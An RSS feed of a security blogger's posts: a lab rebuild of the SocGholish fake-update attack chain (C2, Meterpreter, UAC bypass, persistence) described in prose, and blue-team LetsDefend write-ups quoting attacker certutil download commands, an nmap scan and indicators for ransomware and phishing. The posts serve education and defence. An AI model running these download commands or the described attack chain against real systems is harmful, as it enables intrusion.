<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Malware Ben on Medium]]></title>
        <description><![CDATA[Stories by Malware Ben on Medium]]></description>
        <link>https://medium.com/@bdure?source=rss-e990418fda------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*sC-gPVQuTnBeyb--INvP1Q.jpeg</url>
            <title>Stories by Malware Ben on Medium</title>
            <link>https://medium.com/@bdure?source=rss-e990418fda------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 07:28:42 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@bdure/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[SocGholish Favourite Weapon: I Spent the Weekend Building the Same Thing.]]></title>
            <link>https://bdure.medium.com/evil-corps-favourite-weapon-i-spent-the-weekend-building-the-same-thing-830626dc966c?source=rss-e990418fda------2</link>
            <guid isPermaLink="false">https://medium.com/p/830626dc966c</guid>
            <category><![CDATA[socgholish]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Malware Ben]]></dc:creator>
            <pubDate>Mon, 22 Jun 2026 00:15:53 GMT</pubDate>
            <atom:updated>2026-06-22T00:20:41.850Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9hFT4-VTSAbsMpY241WxrQ.png" /></figure><p>⚠️ <strong>Disclaimer:</strong> Everything in this post was performed in an isolated lab environment on systems I own. This is purely for educational purposes. Don’t be stupid. Don’t do this on systems you don’t own. You will get caught.</p><p>I was reading the news (<a href="https://therecord.media/socgholish-botnet-disrupted">https://therecord.media/socgholish-botnet-disrupted</a>) the other morning and saw a headline about a police raid on the malware network tied to Russia’s Evil Corp. Honestly, cybersecurity news can get pretty repetitive… you read about another cyberattack, and you move on.</p><p>But one sentence caught my attention: “<em>SocGholish spreads through fake browser or software update prompts displayed on otherwise legitimate sites.</em>”</p><p>That was the only technical detail provided for a malware family that’s been active since 2017 and serves as the entry point for major threats like LockBit and RansomHub. The article did a great job explaining <em>who</em> got caught, but I wanted to know exactly <em>how</em> it works under the hood.</p><p>So, instead of just reading about it, I fired up my lab this weekend and rebuilt the attack chain from scratch. Here’s a deep dive into the actual mechanics.</p><h3>So, What Exactly Is SocGholish?</h3><p>Also known as <strong>FakeUpdates</strong>, SocGholish is a JavaScript-based malware and loader that has been linked to the Russian cybercriminal group Evil Corp since at least 2017.</p><p>Attackers compromise legitimate websites and inject malicious JavaScript into them. When a visitor lands on the infected website, they are presented with a convincing message claiming their browser is out of date.</p><p>So I decided to build one myself and see exactly what happens behind the curtain.</p><h3>Building the Fake Update Page</h3><p>The entire operation depends on getting a victim to willingly download and execute a file. So the first thing I did was rebuild the update page itself.</p><p>The fake page I built closely mirrored the flow described in the research. The victim lands on what appears to be a legitimate Chrome update page. After a brief delay, a ZIP file is automatically downloaded to the browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2eucDwui7issqhqkbBFHnQ.png" /><figcaption>Fake Update Landing Page</figcaption></figure><p>Once the download completes, the page transitions to a confirmation screen. The victim is told the update package was downloaded successfully and is given step-by-step instructions to extract and run the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m0g87OvoH6eNKm6KUPF5tg.png" /><figcaption>Confirmation Screen + Downloaded ZIP</figcaption></figure><p>At this point, the victim believes they’re installing a Chrome update. In reality, they’re being guided toward executing the attacker’s payload.</p><h3>The JS Payload</h3><p>The downloaded ZIP archive contains a single JavaScript file named <strong>AutoUpdater.js</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*whX3pSrZwE_jR3OarQEOLA.png" /></figure><p>The version used in my lab was also obfuscated, just like real-world malware often is, making it significantly harder to understand at first glance.</p><p>When executed, it quietly collects basic information about the system using Windows Management Instrumentation (WMI). This includes details such as the computer name, logged-in user, and domain information.</p><p>The script then sends that information back to a command-and-control (C2) server. From an attacker’s perspective, this serves as an initial check-in and confirms that the payload successfully executed on a real system.</p><p>Once the check-in is complete, the next stage begins. The script retrieves a second payload from the C2 server, stores it on disk, and launches it without displaying any visible window to the user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FBAAZoAugT7cGnhaBZn6FA.png" /><figcaption>SocGholish (FakeUpdates) Attack Chain</figcaption></figure><h3>The C2 Server</h3><p>With the fake update page and ZIP archive in place, the next piece I needed was a C2 server.</p><p>In my lab, the C2 was intentionally simple. It wasn’t just responsible for receiving victim check-ins. It also handled content delivery throughout the attack chain.</p><p>When a visitor reached the fake update page, the server first evaluated whether the request looked like a legitimate target. Only Windows systems running Chrome were allowed to continue through the workflow.</p><p>After AutoUpdater.js launched, it collected basic host information and sent it back to the C2 server as an initial check-in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UKXav3Lrx4Bt0Q-AOWboaA.png" /><figcaption>Basic Host Information Sent To C2</figcaption></figure><p>I also implemented a basic anti-reinfection mechanism similar to what has been observed in real SocGholish campaigns. Once a visitor had been served the fake update page, a cookie was set to prevent them from repeatedly receiving the same content during future visits.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XV9QHE6IIWJ99oZrU0xOHw.png" /><figcaption>Anti-Reinfection Mechanism</figcaption></figure><p>Finally, the C2 acted as the staging point for the next payload in the chain.</p><p>In my lab, that payload was a Meterpreter reverse TCP executable generated with msfvenom.</p><p>Once the payload executed successfully, I received a callback in Metasploit, confirming that the attack chain had worked end-to-end.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fSuj6mPt8MRyRMoZYCNjJg.png" /></figure><h3>Privilege Escalation + Persistence</h3><p>At this point, I had achieved initial access, but the session was still running in the context of a standard user. To simulate the next phase of the attack, I used the fodhelper UAC bypass technique to elevate privileges. The bypass succeeded and provided an elevated session.</p><p>From there, I used Meterpreter’s getsystem functionality to obtain <strong>NT AUTHORITY\SYSTEM</strong>, giving me the highest level of privilege available on the host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S60lZpUO21YOoLFpDUCmuw.png" /></figure><p>With SYSTEM access established, the final step was persistence.</p><p>For the purposes of this lab, I created a Scheduled Task named <strong>ChromeUpdaterService</strong>. The task was configured to execute the payload at logon, ensuring that access would survive user logouts and system reboots.</p><p>At this point, the attack chain was complete! 😎</p><h3><strong>From Browser Update to SYSTEM</strong></h3><p>A visitor landed on a legitimate website, received a fake browser update, executed a JavaScript loader, checked in to a C2 server, downloaded a second-stage payload, granted remote access to the attacker, and ultimately provided SYSTEM-level persistence on the machine.</p><p>What’s interesting is that none of the individual components were particularly sophisticated. The fake update page, the JavaScript loader, the C2 server, the payload delivery, the privilege escalation, and the persistence mechanism are all techniques that have existed for years.</p><p>A routine browser update can become the first step toward a full system compromise.</p><h3>References</h3><ul><li><a href="https://therecord.media/socgholish-botnet-disrupted">Police raid malware network tied to Russia&#39;s Evil Corp hacker group</a></li><li><a href="https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update">SocGholish Malware: A Real Threat from a Fake Update | Proofpoint US</a></li><li><a href="https://claude.ai/">Sign in or create an account | Claude.ai</a></li><li><a href="https://obfuscator.io/">JavaScript obfuscator tool - Protect Your JS Code</a></li><li><a href="https://www.metasploit.com/">Metasploit | Penetration Testing Software, Pen Testing Security | Metasploit</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=830626dc966c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lets Defend —Suspicious Certutil.exe Usage — EventID 113]]></title>
            <link>https://bdure.medium.com/lets-defend-suspicious-certutil-exe-usage-eventid-113-93e379611663?source=rss-e990418fda------2</link>
            <guid isPermaLink="false">https://medium.com/p/93e379611663</guid>
            <category><![CDATA[certutil]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[lets-defend]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[lolbin]]></category>
            <dc:creator><![CDATA[Malware Ben]]></dc:creator>
            <pubDate>Fri, 01 Jul 2022 19:20:26 GMT</pubDate>
            <atom:updated>2022-07-01T19:20:26.804Z</atom:updated>
            <content:encoded><![CDATA[<h3>Lets Defend —Suspicious Certutil.exe Usage — EventID 113</h3><h3>LetsDefend</h3><p>LetsDefend is a platform for practical training for blue team members. You can improve your skills in log analysis, incident handling, malware analysis and endpoint analysis.</p><p><a href="https://letsdefend.io/">https://letsdefend.io</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ZZR8T6mqLIQ8GshJ.png" /></figure><h3>SOC163— Suspicious Certutil.exe Usage</h3><p>Today a suspicious Certutil.exe usage occured on a host. Certutil is used by threat actors to download files from an external system into a compromised environment.</p><h3>Monitoring</h3><p>The investigation start on the Monitoring Page (Figure 1) which simulates a real working Security Operation Center alerts panel. This console offers further details about the security event occuring.</p><p>In SOC163 — Suspicious Certutil.exe Usage case, useful host information will help us catch sight of the action taking place, using other tools at our disposal. Always consider the following data when investigating: <strong>Event Time, Hostname, IP Address, Related Binary, Binary Path, Command Line and EDR Action</strong>.</p><ul><li>Event Time: March 1, 2022 11:06 A.M</li><li>Hostname: EricProd</li><li>IP Address: 172.16.17.22</li><li>Related Binary: certutil.exe</li><li>Binary Path: C:/Windows/System32/certutil.exe</li><li>Command Line: certutil.exe -urlcache -split -f hXXps://nmap[.]org/dist/nmap-7.92-win32.zip nmap.zip</li><li>EDR Action: Allowed</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GXifIrcNyNDbZr9uWZQk1Q.png" /><figcaption>Figure 1 — Investigation Channel</figcaption></figure><p>In SOC163 — Suspicious Certutil.exe Usage, the attacker executed a command running an executable named Certutil.</p><h4>What is Certutil.exe ?</h4><p>Certutil.exe is a command-line program, installed as part of Certificate Services. You can use it to dump and display certification authority (CA) configuration information, configure Certificate Services, backup and restore CA components, and verify certificates, key pairs, and certificate chains.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LOP9INQKh9DRTcW00Xq1Og.png" /><figcaption>Figure 2 — Certutil.exe</figcaption></figure><h4>How hackers use Certutil.exe ?</h4><ul><li>Used to decode binaries hidden inside certificate files as Base64 information.</li><li><strong>Used to download files from a given URL.</strong></li><li>Used to install browser root certificates as a precursor to perform Adversary-in-the-Middle between connections to banking websites.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bzvWS1yGkHUNscmTP1aqpw.png" /><figcaption>Figure 3 — Certutil.exe Usage</figcaption></figure><p>In SOC163 — Suspicious Certutil.exe Usage, the attacker used Certutil to download two files from the internet. The first running command was:</p><blockquote>certutil.exe -urlcache -split -f hXXps://nmap[.]org/dist/nmap-7.92-win32.zip nmap.zip</blockquote><ul><li><em>-urlcache</em> — Displays or deletes URL cache entries</li><li><em>-split </em>— Embedded ASN.1 element and save it to a file</li><li><em>-f </em>— Forces overwrite</li><li><em>hXXps://nmap[.]org/dist/nmap-7.92-win32.zip</em> — URL</li><li><em>nmap.zip</em> — Filename output</li></ul><h4>What is Nmap ?</h4><p>Nmap allows you to scan your network and discover not only everything connected to it, but also a wide variety of information about what’s connected, what services each host is operating, and so on.</p><h4>Why hackers use Nmap ?</h4><ul><li>List services running on remote/local host</li><li><strong>Discover live host on network</strong></li><li>Discover service vulnerabilities using scripting feature in nmap</li></ul><p>In SOC163 — Suspicious Certutil.exe Usage, the attacker used Nmap to discover live host service and version on the network by running the following command :</p><blockquote>nmap -sV 192.168.0.0/24 -p 80</blockquote><ul><li>-sV — Service and Version Detection</li><li>192.169.0.0/24 — IP CIDR to scan</li><li>-p 80 — Port to scan</li></ul><p>In SOC163 — Suspicious Certutil.exe Usage, the attacker used Certutil to download two files from the internet. The second running command Certutil instance was:</p><blockquote>certutil.exe -urlcache -split -f hXXps://raw[.]githubusercontent[.]com/AonCyberLabs/Windows-Exploit-Suggester/master/windows-exploit-suggester.py check.py</blockquote><h4>What is Windows Exploit Suggester ?</h4><p>This tool compares a target patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins.</p><h4>Why hackers use Windows Exploit Suggester</h4><p>The hackers use Windows Exploit Suggestor to gain higher-level permissions on the host system.</p><p>Let’s now verify these details on the Log Management and Endpoint Security page.</p><h3>Log Management</h3><p>Using the Log Management panel, confirm the suspicious URLs were reached by host 172.16.17.22.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qjM_yt_ihyOsPx_rgGuaoA.png" /><figcaption>Figure 4 — Log Management</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x-xEEJhp8arBTv1K0mb_qw.png" /><figcaption>Figure 5 — Raw Log #1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IuQQJN274lwsFEQ7mDFJbQ.png" /><figcaption>Figure 6 — Raw Log #2</figcaption></figure><h3>Endpoint Security</h3><p>Refer the Command History (Figure 7), the Network Connections (Figure 8) and the Process List (Figure 9) on Endpoint Security page. It simulates a real working Endpoint Detection and Response (EDR) security tool.</p><p>As it has been pointed out, numerous suspicious attacker-based commands, network connections and processes list are observed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TYJVUKBV9lw-vZOzKPOdXA.png" /><figcaption>Figure 7— Command History</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*12PUpAsCggxJmm3VRN08kw.png" /><figcaption>Figure 8 — Network Connections</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_I0K85ih-bZoWd3yKZAoxQ.png" /><figcaption>Figure 9— Process History List</figcaption></figure><h4>Containment</h4><p>Considering each and every information from our investigation, we are able to define the event as a true positive incident. Containment should be enforced.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ncoZyO7J6TdPrsARXy_oDg.png" /><figcaption>Figure 10 — Containment Request</figcaption></figure><h3>Task Creating</h3><ul><li>Is the current activity suspicious? — Yes, suspicious</li><li>What is suspicious activity? —Downloading</li><li>Who performed the activity? — User</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=93e379611663" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lets Defend — SOC145 Ransomware Detected]]></title>
            <link>https://bdure.medium.com/lets-defend-soc145-ransomware-detected-d598621e26d3?source=rss-e990418fda------2</link>
            <guid isPermaLink="false">https://medium.com/p/d598621e26d3</guid>
            <category><![CDATA[ransomware]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[lets-defend]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyber-defense]]></category>
            <dc:creator><![CDATA[Malware Ben]]></dc:creator>
            <pubDate>Sun, 30 Jan 2022 17:51:14 GMT</pubDate>
            <atom:updated>2022-01-30T17:52:11.754Z</atom:updated>
            <content:encoded><![CDATA[<h3>Lets Defend — Ransomware Detected</h3><h3>LetsDefend</h3><p>LetsDefend is a platform for practical training for blue team members. You can improve your skills in log analysis, incident handling, malware analysis and endpoint analysis.</p><p><a href="https://letsdefend.io/">https://letsdefend.io</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*I8-3ljEs7kkPJcg-.png" /></figure><h3>SOC145 — Ransomware Detected</h3><p>Today we will analyze a ransomware used in a real cyber attack. Ransomware is an ever-evolving form of malware designed to encrypt files on a device, rendering any files and the systems that rely on them unsuable. Malicious actors then demand ransom in exchange for decryption.</p><h3>Monitoring</h3><p>Our investigation start at the Monitoring page (Figure 1) which simulates a real working SOC environment. More details about the incident can be found. Looking at the details, we can see the Source IP Address, Workstation Name, the suspicious executable and a zip file. Our next step is to download the zip file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2i41gety-IMsBQoORmy3YQ.png" /><figcaption>Figure 1 — Monitoring Panel</figcaption></figure><h3>Analyzing Executable</h3><p>Once we’ve downloaded the zip file and extracted content, we can generate the MD5 and SHA256 hashes of “ab.bin”. By using <em>md5sum </em>and <em>sha256sum</em>, we calculate the hashes of the file in the zip folder. Hashes are useful for positively identifying a malware. The malicious software is run through a hashing program that produces a unique hash that identifies that malware (a sort of fingerprint).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4yLhrTq88ZKu_eKmZAkmpg.png" /><figcaption>Figure 2 — Unzipping</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g7ZzRzJXB0Txv00I1il8ww.png" /><figcaption>Figure 3 — Generating Hashes</figcaption></figure><h4>Virus Total</h4><p>Next, we perform a hash search on VirusTotal (VT). VT allows us to search through their dataset in order to identify files that match certain criteria. To search for a file that has a given MD5, just type in the hash under consideration in the main search box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5xhwjla8s2dqD-KplyUU4w.png" /><figcaption>Figure 4 — Virus Total Detection</figcaption></figure><p>According to VT, the <em>ab.bin</em> is malicious. At the time of our scan, 60 antivirus engines detected it.</p><p>Further information can be found by navigating to the Community tab. In the Community tab, we can find a section devoted to comments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-u1C6e4UAfyCH3Lh7Q9AdA.png" /><figcaption>Figure 5 — Virus Total Community</figcaption></figure><p>In the comments section, we found a Joesecurity report. Joe Sandbox is one of the industry’s most advanced automated and deep malware analysis engine. By visiting the link on the comment, we have access to a report.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7MUPFZBYQeWC-Qf8afRUUA.png" /><figcaption>Figure 6 — JoeSandbox report</figcaption></figure><p>The report detected that “<em>ab.bin</em>” is malicious and triggers multiple malware signatures.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*8vNkqk-M7woEZQ_ehiY1Uw.png" /><figcaption>Figure 7 — Ab.bin Process Tree</figcaption></figure><p>By analyzing the process tree, we can clearly notice that the “<em>ab.exe</em>” or ”<em>ab.bin</em>” is spawning <em>wmic </em>to delete shadow copies.</p><p>The Windows Volume Shadow Copy Service is a built-in OS feature that can be used to create backup copies of files and volumes.</p><p>Adversaries may delete these shadow copies, typically through the usage of system utilities such as <em>vssadmin.exe</em> or <em>wmic.exe</em>, in order to prevent file and data recovery. This technique is commonly employed for this purpose by ransomware.</p><h4>Hybrid Analysis</h4><p>Hybrid Analysis is malware analysis service for the community that detects and analyzes unknown threats using a unique Hybrid Analysis technology.</p><p>We uploaded “<em>ab.bin</em>” for analysis and had once again results that the executable is malicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yfU2A4Y1oj0ApnwKRIK61w.png" /><figcaption>Figure 8 — Hybrid Analysis Overview</figcaption></figure><p>A helpful section is the Falcon Sandbox Reports analysis.</p><p>Falcon Sandbox performs deep analysis of evasive and uknown threats, enriches the results with threat intelligence and delivers actionable indicators of compromise (IOCs), enabling us to better understand sophisticated malware attacks and strenghten defenses.</p><p>Two reports were generated for our “<em>ab.bin</em>” executable. Let’s click on both of them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*M3zPMdcKj855I8he3UpO9A.png" /><figcaption>Figure 9 — Hybrid Analysis Falcon Sandbox Reports</figcaption></figure><p>In figure 10, we have once more a view of the processes that were generated by “<em>ab.bin</em>”. Confirming over again the malicious behavior.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L2e5aYS39IFvlgl6XZoEXQ.png" /><figcaption>Figure 10 — Hybrid Analysis Process Tree</figcaption></figure><p>In figure 11, we have a view of the numerous strings found in the “<em>ab.bin</em>” executable. We can extract helpful indicators of compromise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ENqGBpS-9wcnE0N3yxTuAg.png" /><figcaption>Figure 11 — Hybrid Analysis Extracted Strings</figcaption></figure><h4>IoCs</h4><ul><li>avaddonbotrxmuyl[.]onion</li><li>0b486fe0503524cfe4726a4022fa6a68</li><li>1228d0f04f0ba82569fc1c0609f9fd6c377a91b9ea44c1e7f9f84b2b90552da2</li></ul><h3>Log Management</h3><p>Now, let’s use the Log Management panel and check the IPs reached by the target machine.</p><p>No log entry were found concerning the ransomware incident.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PFuZTM9CMRZjIGpZUXEv8g.png" /><figcaption>Figure 12 — Log Management</figcaption></figure><h3>Endpoint Security</h3><p>Since we know for sure that the machine was infected with ransomware, we will contain it. This action can be done on the Endpoint Security page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wJCHNTE6UlH-_DoqeQeMLw.png" /><figcaption>Figure 13 — Endpoint Security</figcaption></figure><p>We can also check the process history, which indicates the suspicious expected processes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*RTfe9ByM2EheVBMLa_wmcQ.png" /><figcaption>Figure 14 — Process History</figcaption></figure><h3>Case Management</h3><p>Now that we have all the details at our hands, we can open a case by navigating to the Case Management page. Let’s answer the questions :</p><ul><li>Q1. Check if the malware is quarantined/cleaned?<br>A1. Not Quarantined.</li><li>Q2. Analyze Malware in third party tools and find C2 address.<br>A2. Malicious.</li><li>Q3. Check if someone requested the C2?<br>A3. No.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d598621e26d3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lets Defend — Password Stealer Detected]]></title>
            <link>https://bdure.medium.com/lets-defend-password-stealer-detected-d86dbf5dd3e5?source=rss-e990418fda------2</link>
            <guid isPermaLink="false">https://medium.com/p/d86dbf5dd3e5</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[computer-science]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Malware Ben]]></dc:creator>
            <pubDate>Sun, 16 Jan 2022 19:59:34 GMT</pubDate>
            <atom:updated>2022-01-16T19:59:34.772Z</atom:updated>
            <content:encoded><![CDATA[<h3>Lets Defend — Password Stealer Detected</h3><p><strong>SOC143 — Password Stealer Detected</strong></p><h3>LetsDefend</h3><p>LetsDefend is a platform for practical training for blue team members. You can improve your skills in log analysis, incident handling, malware analysis and endpoint analysis.</p><p><a href="https://letsdefend.io/">LetsDefend - Blue Team Training</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*NvNBbgV2RydpFHiu.png" /></figure><h3>SOC143 — Password Stealer Detected</h3><p>Today we will analyze a password stealer used in a real cyber attack. Password stealers are a type of malware that steals account information.</p><h3>Monitoring</h3><p>Our investigation start at the Monitoring page which simulates a real working SOC environment. More details about the incident can be found here. Looking at the details, we can see the source address, SMTP address and more. Our next step is to copy the sender address and look for it in our mailbox.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iQjBIkLSs9eSHO0I5giT6g.png" /><figcaption>Monitoring Window</figcaption></figure><h3>Mailbox</h3><p>By searching for the source address in the mailbox, we find the copy of the email that generated the alert.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QUfWFhHRXd-xa1Jf2xl0RQ.png" /><figcaption>Copy of the malicious email</figcaption></figure><p>We can extract important information found in the email, that could be useful in the future:</p><ul><li><strong>Subject:</strong> .</li><li><strong>Sender:</strong> bill@microsoft[.]com</li><li><strong>Recipient(s):</strong> ellie@letsdefend[.]io</li><li><strong>Attachment(s):</strong> bd05664f01205fa90774f42468a8743a.zip</li></ul><p>Next, we will download the attachment and unzip it in a safe environment. In our case, we are using REMnux (<a href="https://remnux.org/">https://remnux.org</a>).</p><p>After unzipping the attachment, we found one html file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*jrvnUSxJCCsID_HKWPnP_w.png" /></figure><h3>Generating MD5</h3><p>By using <em>md5sum</em>, a tool built-in in REMnux, we are calculating the hash of the file in the attachment. Hashes are useful for positively identifying a malware. The malicious software is run through a hashing program that produces a unique hash that identifies that malware ( a sort of fingerprint).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dDmy3ESJ-go8PjiyCmYtiQ.png" /><figcaption>Generating MD5 Hash Window</figcaption></figure><h3>Virus Total</h3><p>Next, we perform a hash search on VirusTotal (VT). VT allows you to search through their dataset in order to identify files that match certain criteria. To search for a file that has a given MD5, just type in the hash under consideration in the main search box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Hcl9Fg6guXyJwzlG16ypg.png" /><figcaption>Virus Total Window</figcaption></figure><p>According to VT, the file is flagged malicious. At the time of our scan, the result reports 5 antivirus engines claiming the HTML file is malicious.</p><h3>Dissecting HTML File</h3><p>The user is prompted to enter his credentials on a fake Outlook login page by opening the HTML file. The name of the file, shown below, suggests that the actor was targeting the user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pKOCLL6DI_ENDknvEcK8Jw.png" /><figcaption>HTML Phishing File</figcaption></figure><p>As seen below, attempting to enter credentials in the fake login panel will establish a network communication to the domain tecyardit[.]com. The credentials are sent as a POST request to the URI /post.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rNCLwpn9wDRFJ2pDyKxJaA.png" /><figcaption>Inspect Element Window</figcaption></figure><p>According to VT, the URI is flagged malicious. At the time of our scan, the result reports 7 antivirus engines claiming the URI is malicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pPdGSL-YiHnexQckqICI2w.png" /><figcaption>Virus Total Results</figcaption></figure><p>URLscan is a website scanner written by Johannes Gilger, focusing on analyzing all possible details about any established HTTP connection, site content, relations with other sites and much more.</p><p>In our case, the site seems to be unreachable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g-_1F6R_7pKUFbSOS9RVNQ.png" /><figcaption>URLScan Window</figcaption></figure><p>ViewDNS is an online source for DNS related tools. The tool provided by ViewDNS allow us to gather a large amount of data about a given website or IP address.</p><p>In the figure below, we can see the IP history of the malicious domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T1tSv6Ao1QYCovCF4IsZ4w.png" /><figcaption>ViewDNS Window</figcaption></figure><p>According to VT, the IP is flagged malicious. At the time of our scan, the result reports 1 antivirus engine claiming the IP is malicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A2Ler5uRlLHGuZo_X7I2jg.png" /><figcaption>Virus Total Results</figcaption></figure><h3>Indicators of Compromise</h3><ul><li>58c45547bccce5eb16d84bae13eb0c2813ffe03e34eae622b65468a6b289ca37</li><li>109[.]68[.]33[.]64</li><li>180[.]76[.]101[.]229</li><li>tecyardit[.]com</li><li>tecyardit[.]com/wp-content/card/2/post.php</li></ul><h3>Log Management</h3><p>We will now use the Log Management page and check if the URL/IPs were accessed.</p><p>No log entry were found. It means that the user didn’t enter his credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*89Xqszi9Ku6erfU1tXAvWw.png" /><figcaption>Log Management Window</figcaption></figure><h3>Case Management Detail</h3><p>Now we are packed with enough information to conlude that the alert is a true positive and that an incident should be open.</p><p>We can answer the questions of the playbook with the information we’ve collected during our analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yA-PKDQ79Z4mUT9zVV6M2w.png" /><figcaption>Case Management Window</figcaption></figure><h3>Playbook</h3><p>A security playbook is a list of required steps and actions needed to successfully respond to any incident or threat. Playbooks provide a step-by-step approach to orchestration, helping security teams to establish standardized incident response processes and ensuring the steps are followed in compliance with regulatory frameworks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*62tT4dSGq0kZJVdZNYEnTA.png" /><figcaption>Playbook Window</figcaption></figure><ul><li>When was it sent?<br>April 26, 2021, 11:03 PM</li><li>What is the email’s SMTP address?<br>180[.]76[.]101[.]229</li><li>What is the sender address?<br>bill@microsoft[.]com</li><li>What is the recipient address?<br>ellie@letsdefend.io</li><li>Is the mail content suspicious?<br>Yes.</li><li>Are there any attachment?<br>Yes.</li></ul><h3>References</h3><ul><li><a href="https://www.virustotal.com/gui/file/58c45547bccce5eb16d84bae13eb0c2813ffe03e34eae622b65468a6b289ca37/detection">VirusTotal</a></li><li><a href="https://www.virustotal.com/gui/url/facf08a5711ec54a98ba66a0937cb2a4a46a29a8011bdeff01d145b0a0cc1ad0/detection">VirusTotal</a></li><li><a href="https://www.virustotal.com/gui/ip-address/109.68.33.64">VirusTotal</a></li><li><a href="https://www.virustotal.com/gui/ip-address/180.76.101.229/detection">VirusTotal</a></li></ul><p><a href="https://whois.domaintools.com/tecyardit.com">https://whois.domaintools.com/tecyardit.com</a></p><p><a href="https://viewdns.info/iphistory/?domain=tecyardit.com">https://viewdns.info/iphistory/?domain=tecyardit.com</a></p><p><a 